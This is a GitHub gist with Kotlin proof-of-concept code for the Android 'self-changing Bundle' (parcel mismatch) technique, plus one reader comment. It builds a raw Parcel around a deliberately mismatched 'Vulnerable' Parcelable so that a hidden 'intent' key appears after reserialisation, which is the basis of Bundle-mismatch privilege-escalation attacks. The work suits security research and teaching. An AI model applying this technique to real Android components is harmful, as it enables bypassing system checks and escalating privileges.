Skip to content

Instantly share code, notes, and snippets.

@evilpan
Created February 23, 2023 07:15
Show Gist options
  • Select an option

  • Save evilpan/851b95e40a86c419e657c3177fa481b7 to your computer and use it in GitHub Desktop.

Select an option

Save evilpan/851b95e40a86c419e657c3177fa481b7 to your computer and use it in GitHub Desktop.
Self changing bundle PoC
package com.evilpan.poc
import android.os.Bundle
import android.os.Parcel
import java.nio.ByteBuffer
import java.nio.ByteOrder
object BundleTest {
enum class Type(val value: Int) {
VAL_NULL(-1),
VAL_STRING( 0),
VAL_INTEGER(1),
VAL_MAP(2),
VAL_BUNDLE(3),
VAL_PARCELABLE(4),
VAL_SHORT(5),
VAL_LONG(6),
VAL_FLOAT(7),
VAL_DOUBLE(8),
VAL_BOOLEAN(9),
VAL_CHARSEQUENCE(10),
VAL_LIST(11),
VAL_SPARSEARRAY(12),
VAL_BYTEARRAY(13),
VAL_STRINGARRAY(14),
VAL_IBINDER(15),
VAL_PARCELABLEARRAY(16),
VAL_OBJECTARRAY(17),
VAL_INTARRAY(18),
VAL_LONGARRAY(19),
VAL_BYTE(20),
VAL_SERIALIZABLE(21),
VAL_SPARSEBOOLEANARRAY(22),
VAL_BOOLEANARRAY(23),
VAL_CHARSEQUENCEARRAY(24),
VAL_PERSISTABLEBUNDLE(25),
VAL_SIZE(26),
VAL_SIZEF(27),
VAL_DOUBLEARRAY(28);
companion object {
fun fromInt(value: Int) = Type.values().first { it.value == value }
}
}
private val VAL_INTEGER = Type.VAL_INTEGER.value.toByte()
private val VAL_BYTEARRAY = Type.VAL_BYTEARRAY.value.toByte()
fun run() {
try {
poc()
} catch (e: java.lang.Exception) {
Log.i("Error: $e")
}
}
private fun poc() {
val p = Parcel.obtain()
val lengthPos = p.dataPosition()
// header
p.writeInt(-1) // length
p.writeInt(0x4C444E42) // magic
val startPos = p.dataPosition();
p.writeInt(3) // numItem
// A0
p.writeString("A")
p.writeInt(Type.VAL_PARCELABLE.value)
p.writeString("com.evilpan.poc.Vulnerable")
p.writeInt(666) // mData
// A1
p.writeString("\u000d\u0000\u0008") // 0d00 0000 0800
p.writeInt(Type.VAL_BYTEARRAY.value)
p.writeInt(28)
p.writeString("intent") // 4 + padSize((6 + 1) * 2) = 4+16 = 20
p.writeInt(Type.VAL_INTEGER.value) // = 4
p.writeInt(0x1337) // = 4
// A2
p.writeString("BBB")
p.writeInt(Type.VAL_NULL.value)
// Back-patch length
val endPos = p.dataPosition()
p.setDataPosition(lengthPos);
val length = endPos - startPos;
p.writeInt(length);
p.setDataPosition(endPos);
// reset position
p.setDataPosition(lengthPos)
// Util.saveExternal(Global.context, p.marshall(), "p0.bin")
// Log.i("lengthPos: $lengthPos")
val A = unparcel(p)
Log.i("A = " + inspect(A))
Log.i("A.containsKey: " + A.containsKey("intent"))
// val p1 = parcel(A)
// Util.saveExternal(Global.context, p1.marshall(), "p1.bin")
// val B = unparcel(p1)
val B = unparcel(parcel(A))
Log.i("B = " + inspect(B))
Log.i("B.containsKey: " + B.containsKey("intent"))
p.recycle()
}
private fun testBundle() {
val b = Bundle()
b.putInt("key1", 0x1337)
b.putString("key2", "\u1234")
b.putParcelable("key3", Vulnerable(42L))
// b.putByteArray("key3", byteArrayOf(1,2,3))
Log.i("b: " + inspect(b))
}
private fun parcel(b: Bundle): Parcel {
val p = Parcel.obtain()
val pos = p.dataPosition()
p.writeBundle(b)
p.setDataPosition(pos)
return p
}
private fun unparcel(p: Parcel): Bundle {
// When Bundle is read from parcel, mParcelledData is stored, and sMap is not parsed yet.
// So we need to trigger the unparcel inside bundle
// See:
// https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/BaseBundle.java;l=1824;drc=9b25969d7bf3e31c5b7fec5b34c37a304b6a7fa7;bpv=0;bpt=1
// bundle.size()
return p.readBundle(javaClass.classLoader)!!
}
private fun padSize(size: Int): Int {
return (size + 3) and (-4)
}
private fun readN(buf: ByteBuffer, size: Int): ByteArray {
val data = ByteArray(size)
buf.get(data)
return data
}
private fun readString(buf: ByteBuffer, hex: Boolean = false): String {
val size = readInt(buf)
val psize = padSize((size + 1) * 2)
val data = readN(buf, psize)
return if (hex)
Util.hexilify(data)
else
String(data, 0, size * 2, Charsets.UTF_16LE) // Unicode is Little Endian
}
private fun readInt(buf: ByteBuffer): Int {
return buf.int
}
private fun readLong(buf: ByteBuffer): Long {
return buf.long
}
private fun readByteArray(buf: ByteBuffer): ByteArray {
val size = readInt(buf)
return readN(buf, padSize(size))
}
private fun readVulnerable(buf: ByteBuffer): String {
val className = readString(buf)
return className + "{mData=" + readInt(buf) + "}"
}
private fun inspect(bundle: Bundle, saveAs: String? = null): String {
val p = Parcel.obtain()
val sb = StringBuffer()
p.writeBundle(bundle)
val data = p.marshall()
if (saveAs != null) {
Util.saveExternal(Global.context, data, saveAs)
}
val bb = ByteBuffer.allocate(data.size)
bb.order(ByteOrder.LITTLE_ENDIAN)
bb.put(data)
bb.rewind()
val length = readInt(bb)
val magic = readInt(bb)
val numItem = readInt(bb)
sb.append("Bundle(item = $numItem) length: $length")
for (i in 0 until numItem) {
val key = readString(bb, true)
val vt = readInt(bb)
val type = Type.fromInt(vt)
val value = when(type) {
Type.VAL_NULL -> null
Type.VAL_INTEGER -> readInt(bb).toString(16)
Type.VAL_LONG -> readLong(bb).toString(16)
Type.VAL_STRING -> readString(bb, true)
Type.VAL_BYTEARRAY -> Util.hexilify(readByteArray(bb))
Type.VAL_PARCELABLE -> readVulnerable(bb)
else -> {
Log.i("not handled: $type")
null
}
}
sb.append("\n => $key = $type:$value")
}
p.recycle()
return sb.toString()
}
}
package com.evilpan.poc
import android.os.Parcel
import android.os.Parcelable
class Vulnerable(var mData: Long = 0L) : Parcelable {
constructor(parcel: Parcel) : this() {
mData = parcel.readInt().toLong()
}
override fun writeToParcel(parcel: Parcel, flags: Int) {
Log.i("=== writeToParcel ===")
parcel.writeLong(mData)
}
override fun describeContents(): Int {
return 0
}
companion object CREATOR : Parcelable.Creator<Vulnerable> {
override fun createFromParcel(parcel: Parcel): Vulnerable {
return Vulnerable(parcel)
}
override fun newArray(size: Int): Array<Vulnerable?> {
return arrayOfNulls(size)
}
}
}
@a-morgan-developer
Copy link

a-morgan-developer commented Feb 23, 2026

I quite understand your poc, although I didn't understand what happened to the key length, which was 03 00 00 00 for A1.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment